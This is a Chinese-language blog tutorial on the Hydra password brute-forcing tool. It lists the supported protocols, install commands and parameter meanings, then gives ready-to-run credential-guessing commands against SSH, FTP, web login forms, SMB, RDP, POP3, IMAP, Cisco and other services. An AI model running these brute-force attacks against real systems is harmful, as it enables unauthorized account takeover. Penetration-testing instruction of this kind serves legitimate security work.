hydra使用方法(视频)

hydra的使用介绍

  • 关于Hydra

hydra 是一个支持众多协议的爆破工具。


以下是Hydra支持的协议

Asterisk
AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
FTP
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IMAP
IRC
LDAP
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POP3
POSTGRES
RDP
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SIP
SMB
SMTP
SMTP Enum
SNMP v1+v2+v3
SOCKS5
SSH (v1 and v2)
SSHKEY
Subversion
Teamspeak (TS2)
Telnet
VMware-Auth
VNC
XMPP

  • Hydra 的安装
  • hydra 有两个版本

命令行版本
GUI版本

本节只介绍命令行版本如何使用

  • kali中已经自带了hydra工具无需手动下载

如果你的kali中无hydra那么可以尝试使用以下命令进行安装。
apt-get install hydra

  • 当然你也可以在你的安卓设备中安装hydra

命令:pkg install hydra


  • hydra的使用

使用以下命令查看工具的参数

hydra -h

  • 参数详解
参数用途
-l指定单个用户名,适合在知道用户名爆破用户名密码时使用
-L指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径)
-p指定单个密码,适合在知道密码爆破用户名时使用
-P指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径)
-C当用户名和密码存储到一个文件时使用此参数。注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。
-M指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"
-t指定爆破时的任务数量(可以理解为线程数),默认为16
-s指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
-S指定爆破时使用 SSL 链接
-R继续从上一次爆破进度上继续爆破
-V显示爆破的详细信息
-f一但爆破成功一个就停止爆破
server代表要攻击的目标(单个),多个目标时请使用 -M 参数
service攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http ,在hydra中,不同协议会使用不同的模块来爆破,hydra 的 http-get 和 http-post 模块就用来爆破基于 get 和 post 请求的页面
OPT爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

  • 实例:爆破ssh

hydra -l user -P /root/Work/sshpasswd.list -t 6 -V -f 目标ip ssh

  • 命令详细:

攻击目标:192.168.56.12
使用的模块:ssh
爆破用户名:user (-l)
使用的密码字典:/root/Work/sshpasswd.list (-P)
爆破线程数:6 (-t)
显示详细信息 (-V)
爆破成功一个后停止 (-f)


  • 其他协议爆破实例语句
  • 破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

  • 破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

  • get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

  • post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。)

  • 破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

  • 破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

  • 破解cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

  • 破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

  • 破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

  • 破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

  • 破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN


  • 视频简教

点击此处在线观看

  • 最后附图一张。

hydra.jpg

Mucn

Mucn

不管,看了我的博客就得帮忙转载,快点转载一下哦!❤️✔️

2 Comments

  • WhiteDays

    不错的笔记值得学习

  • 王灵

    额 不配图吗

留下你的评论

快留下你的小秘密吧